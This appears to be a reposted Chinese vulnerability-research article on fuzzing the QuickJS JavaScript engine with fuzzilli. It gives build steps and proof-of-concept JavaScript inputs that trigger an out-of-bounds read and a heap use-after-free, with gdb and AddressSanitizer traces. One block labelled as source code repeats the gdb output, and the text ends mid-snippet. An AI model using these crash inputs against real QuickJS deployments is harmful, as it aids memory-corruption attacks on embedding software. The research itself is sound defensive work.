使用fuzzilli对Javascript引擎QuickJS进行Fuzzing和漏洞分析

您所在的位置:网站首页 quickjs 嵌入 使用fuzzilli对Javascript引擎QuickJS进行Fuzzing和漏洞分析

使用fuzzilli对Javascript引擎QuickJS进行Fuzzing和漏洞分析

#使用fuzzilli对Javascript引擎QuickJS进行Fuzzing和漏洞分析| 来源: 网络整理| 查看: 265

作者:维阵漏洞研究员--lawren

概述

​Javascript解析引擎不论是在PC端还是移动端都有非常多的应用实例,甚至于最新发布的鸿蒙OS 2.0其中都使用了JS解析引擎作为上层和系统底层之间的中间交互过程。

极光无限维阵团队对JS解析引擎中新兴的项目做了对应的漏洞挖掘工作,对几处安全漏洞进行了解析。

我们使用Google开源的Javascript引擎Fuzzer-fuzzilli对QuickJS进行Fuzzing,确定漏洞触发流程和漏洞代码。

搭建fuzzilli环境

fuzzilli是Google开源的一款JavaScript的模糊测试工具,由SamuelGroß编写,使用swift语言开发。

项目地址:https://github.com/googleprojectzero/fuzzilli/

1.下载安装swift

去官网下载Linux可执行文件,解压缩后可直接运行使用。

官网:https://swift.org/download/#releases

例如:https://swift.org/builds/swift-5.3-release/ubuntu1804/swift-5.3-RELEASE/swift-5.3-RELEASE-ubuntu18.04.tar.gz

2. 下载编译fuzzilli$ git clone https://github.com/googleprojectzero/fuzzilli.git$ cd fuzzilli$ swift build -c release -Xlinker='-lrt'Fuzz QuickJS引擎

QuickJS是一个小型并且可嵌入的Javascript引擎,它支持ES2020规范,包括模块、异步生成器和代理器。

1. 编译QuickJS

使用fuzzilli进行模糊测试需要对相应的JS引擎源代码进行一定的修改,fuzzilli已经对一些常见的JS引擎发布了patch脚本,QuickJS的patch脚本在目录/fuzzilli/Targets/QJS/Patches中:

$ cd fuzzilli/Targets/QJS$ git clone https://github.com/horhof/quickjs.git$ cd quickjs$ git checkout c389f9594e83776ffb86410016959a7676728bf9 -b fuzz$ cp ../Patches/Fuzzilli-instrumentation-for-QJS.patch .$ patch -p1 < Fuzzilli-instrumentation-for-QJS.patch$ make2. 开始Fuzz$ sudo sysctl -w 'kernel.core_pattern=|/bin/false' # 首次运行$ swift run -c release -Xlinker='-lrt' FuzzilliCli --profile=qjs --storagePath=Targets/QJS/out Targets/QJS/quickjs/qjsCrash 分析

通过对QuickJS发布版v2020-07-05(最新版是v2020-09-06)进行Fuzz得到三个Crash。

1. Memory_corruption_JS_CallInternal.lto_priv.135Memory_corruption_JS_CallInternal.lto_priv.135.js var v4 = [1337];var v5 = {length:"65537"};var v8 = Function.apply(v4,v5);var v10 = new Promise(v8);

利用gdb加载调试:

$ gdb -q -args ./qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".​Program received signal SIGSEGV, Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp[0] = JS_DupValue(ctx, arg_buf[idx]);(gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=, argv=) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=, func_obj=..., this_obj=..., argc=, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0, sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in __JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=, input_len=, filename=, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=, filename=, input_len=, input=, this_obj=..., ctx=)at quickjs.c:33116#9 JS_Eval (ctx=, input=, input_len=, filename=, eval_flags=, ctx=, input=, input_len=, filename=, eval_flags=) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=, buf_len=, filename=, eval_flags=) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=, filename=, module=, filename=, ctx=, module=) at qjs.c:99#12 0x0000555555566525 in main (argc=, argv=) at qjs.c:503(gdb) x/3i $rip=> 0x5555555e5a7e : mov (%rax),%rdx0x5555555e5a81 : mov 0x8(%rax),%rax0x5555555e5a85 : cmp $0xfffffff4,%eax(gdb) p/x $rax$1 = 0x8000000fd360(gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360

对应的源代码为:

$ gdb -q -args ./qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".​Program received signal SIGSEGV, Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp[0] = JS_DupValue(ctx, arg_buf[idx]);(gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=, argv=) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=, func_obj=..., this_obj=..., argc=, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0, sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in __JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=, input_len=, filename=, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=, filename=, input_len=, input=, this_obj=..., ctx=)at quickjs.c:33116#9 JS_Eval (ctx=, input=, input_len=, filename=, eval_flags=, ctx=, input=, input_len=, filename=, eval_flags=) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=, buf_len=, filename=, eval_flags=) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=, filename=, module=, filename=, ctx=, module=) at qjs.c:99#12 0x0000555555566525 in main (argc=, argv=) at qjs.c:503(gdb) x/3i $rip=> 0x5555555e5a7e : mov (%rax),%rdx0x5555555e5a81 : mov 0x8(%rax),%rax0x5555555e5a85 : cmp $0xfffffff4,%eax(gdb) p/x $rax$1 = 0x8000000fd360(gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360

idx大小超过arg_buf的长度,之后会发生越界读取,造成程序崩溃。

2. Heap-use-after-free_gc_decref_childHeap-use-after-free_gc_decref_child.js​var v13 = RegExp();var v15 = Symbol.search;var v19 = [1337,1337];function v27(v28,v29,v30) {var v32 = {...v19,...v30};var v44 = new Proxy(Promise,this);var v45 = v32.__proto__;v45.__proto__ = v44;return v44;}function v46(v47) {return v47;}var v54 = {get:v46};var v56 = new Proxy(v27,v54);function v57(v58,v59) {var v61 = new Uint16Array(v56);}var v63 = new Promise(v57);var v64 = v13[v15];var v68 = v19.some(v64,v19);

直接加载运行触发UAF:

$ ./qjs ../Crash/Heap-use-after-free_gc_decref_child.js ===================================================================76200==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000007640 at pc 0x563e23b9c6e4 bp 0x7ffc435b56b0 sp 0x7ffc435b56a0READ of size 4 at 0x607000007640 thread T0#0 0x563e23b9c6e3 in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf76e3)​0x607000007640 is located 0 bytes inside of 72-byte region [0x607000007640,0x607000007688)freed by thread T0 here:#0 0x7f3b80489f10 in free (/usr/lib/x86_64-linux-gnu/libasan.so.5+0xedf10)#1 0x563e23c7cf61 in __JS_FreeValueRT (/home/test/JS/QuickJS-20200705/qjs+0x1d7f61)#2 0x563e23c8d8f1 in JS_SetPropertyInternal (/home/test/JS/QuickJS-20200705/qjs+0x1e88f1)#3 0x563e23b9c02a in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf702a)​previously allocated by thread T0 here:#0 0x7f3b8048a2d0 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.5+0xee2d0)#1 0x563e23c95f34 in js_def_malloc (/home/test/JS/QuickJS-20200705/qjs+0x1f0f34)#2 0x563e23ca2c27 in js_malloc (/home/test/JS/QuickJS-20200705/qjs+0x1fdc27)#3 0x563e23ca2cea in JS_NewObjectFromShape.lto_priv.146 (/home/test/JS/QuickJS-20200705/qjs+0x1fdcea)#4 0x563e23ca37a3 in JS_NewObjectProtoClass (/home/test/JS/QuickJS-20200705/qjs+0x1fe7a3) Breakpoint 2, JS_NewObjectProtoClass (ctx=0x615000000080, proto_val=..., class_id=48) at quickjs.c:4783#5 0x563e23b84cea in js_proxy_constructor (/home/test/JS/QuickJS-20200705/qjs+0xdfcea)#6 0x563e23c542d0 in js_call_c_function.lto_priv.540 (/home/test/JS/QuickJS-20200705/qjs+0x1af2d0)#7 0x563e23c2d171 in JS_CallConstructorInternal.lto_priv.156 (/home/test/JS/QuickJS-20200705/qjs+0x188171)#8 0x563e23c32115 in JS_CallInternal.lto_priv.93 (/home/test/JS/QuickJS-20200705/qjs+0x18d115)#9 0x563e23c1713c in JS_CallFree.lto_priv.341 (/home/test/JS/QuickJS-20200705/qjs+0x17213c)#10 0x563e23b7b5df in js_proxy_get (/home/test/JS/QuickJS-20200705/qjs+0xd65df)#11 0x563e23c8647a in JS_GetPropertyInternal (/home/test/JS/QuickJS-20200705/qjs+0x1e147a)#12 0x563e23b9bec6 in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf6ec6)

漏洞发生在js_regexp_Symbol_search函数中:

SUMMARY: AddressSanitizer: heap-use-after-free (/home/test/JS/QuickJS-20200705/qjs+0xf76e3) in js_regexp_Symbol_search.lto_priv.363Shadow bytes around the buggy address:0x0c0e7fff8e70: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8e80: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8e90: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 000x0c0e7fff8ea0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 000x0c0e7fff8eb0: 00 00 00 00 00 fa fa fa fa fa fd fd fd fd fd fd=>0x0c0e7fff8ec0: fd fd fd fa fa fa fa fa[fd]fd fd fd fd fd fd fd0x0c0e7fff8ed0: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa0x0c0e7fff8ee0: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8ef0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8f00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd0x0c0e7fff8f10: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fdShadow byte legend (one shadow byte represents 8 application bytes):Addressable: 00Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: faFreed heap region: fdStack left redzone: f1Stack mid redzone: f2Stack right redzone: f3Stack after return: f5Stack use after scope: f8Global redzone: f9Global init order: f6Poisoned by user: f7Container overflow: fcArray cookie: acIntra object redzone: bbASan internal: feLeft alloca redzone: caRight alloca redzone: cb==76200==ABORTING

对象在JS_NewObjectFromShape函数中被分配:

static JSValue JS_NewObjectFromShape(JSContext *ctx, JSShape *sh, JSClassID class_id){JSObject *pjs_trigger_gc(ctx->rt, sizeof(JSObject));p = js_malloc(ctx, sizeof(JSObject));


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3